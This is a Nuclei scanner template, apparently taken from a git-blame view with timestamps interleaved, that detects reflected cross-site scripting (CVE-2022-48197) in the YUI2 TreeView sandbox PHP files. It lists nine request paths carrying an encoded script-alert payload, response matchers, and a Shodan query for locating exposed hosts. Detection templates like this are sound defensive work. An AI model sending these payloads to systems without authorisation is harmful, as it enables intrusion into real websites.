2023-10-04 01:49:16 +00:00
id : CVE-2022-48197
2023-10-05 07:27:16 +00:00
2023-10-04 01:49:16 +00:00
info :
name : Yahoo User Interface library (YUI2) TreeView v2.8.2 - Cross-Site Scripting
author : ctflearner
severity : medium
2023-10-05 07:27:16 +00:00
description : |
2023-10-04 01:49:16 +00:00
Reflected cross-site scripting (XSS) exists in the TreeView of YUI2 through 2800 : up.php sam.php renderhidden.php removechildren.php removeall.php readd.php overflow.php newnode2.php newnode.php.
2023-10-14 11:27:55 +00:00
remediation : Upgrade to the latest version to mitigate this vulnerability.
2023-10-04 01:49:16 +00:00
reference :
- https://www.exploit-db.com/exploits/51198
- https://packetstormsecurity.com/files/171633/Yahoo-User-Interface-TreeView-2.8.2-Cross-Site-Scripting.html
2023-10-05 07:27:16 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-48197
2023-10-14 11:27:55 +00:00
- http://packetstormsecurity.com/files/171633/Yahoo-User-Interface-TreeView-2.8.2-Cross-Site-Scripting.html
- https://github.com/ryan412/CVE-2022-48197/blob/main/README.md
2023-10-04 01:49:16 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2022-48197
cwe-id : CWE-79
2024-03-23 09:28:19 +00:00
epss-score : 0.0012
epss-percentile : 0.45243
2023-10-04 01:49:16 +00:00
cpe : cpe:2.3:a:yui_project:yui:*:*:*:*:*:*:*:*
metadata :
2023-10-14 11:27:55 +00:00
verified : true
2023-10-05 11:56:54 +00:00
max-request : 9
2023-10-14 11:27:55 +00:00
vendor : yui_project
product : yui
2023-10-05 07:45:20 +00:00
shodan-query : html:"bower_components/yui2/"
2024-01-14 09:21:50 +00:00
tags : cve,cve2022,packetstorm,yui2,xss,yahoo,treeview,yui_project
2023-10-05 07:27:16 +00:00
2023-10-04 01:49:16 +00:00
http :
- method : GET
path :
2023-10-05 07:45:20 +00:00
- "{{BaseURL}}/libs/bower/bower_components/yui2/sandbox/treeview/up.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
- "{{BaseURL}}/libs/bower/bower_components/yui2/sandbox/treeview/sam.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
- "{{BaseURL}}/libs/bower/bower_components/yui2/sandbox/treeview/renderhidden.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
- "{{BaseURL}}/libs/bower/bower_components/yui2/sandbox/treeview/removechildren.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
- "{{BaseURL}}/libs/bower/bower_components/yui2/sandbox/treeview/removeall.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
- "{{BaseURL}}/libs/libs/bower/bower_components/yui2/sandbox/treeview/readd.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
- "{{BaseURL}}/libs/bower/bower_components/yui2/sandbox/treeview/overflow.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
- "{{BaseURL}}/libs/bower/bower_components/yui2/sandbox/treeview/newnode2.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
- "{{BaseURL}}/libs/bower/bower_components/yui2/sandbox/treeview/newnode.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
2023-10-05 07:27:16 +00:00
stop-at-first-match : true
2023-10-14 11:27:55 +00:00
2023-10-04 01:49:16 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2023-10-05 07:45:20 +00:00
- "1'\"()&%<zzz><script>alert(document.domain)</script>"
- "widget.TreeView"
2023-10-04 01:49:16 +00:00
condition : and
2023-10-05 07:27:16 +00:00
2023-10-04 01:49:16 +00:00
- type : word
part : header
words :
- text/html
2023-10-05 07:27:16 +00:00
2023-10-04 01:49:16 +00:00
- type : status
status :
- 200
2024-03-25 11:57:16 +00:00
# digest: 4b0a00483046022100f7c3d9fc5175b9363d49c28f2e0b92b6fe9f8abc45059059ad0dafba85fea07f022100fb41b72abfbecfa5569be46ea5a0b6291531324d31b317b2be2d9e4e7a366e13:922c64590222798bb761d5b6d8e72950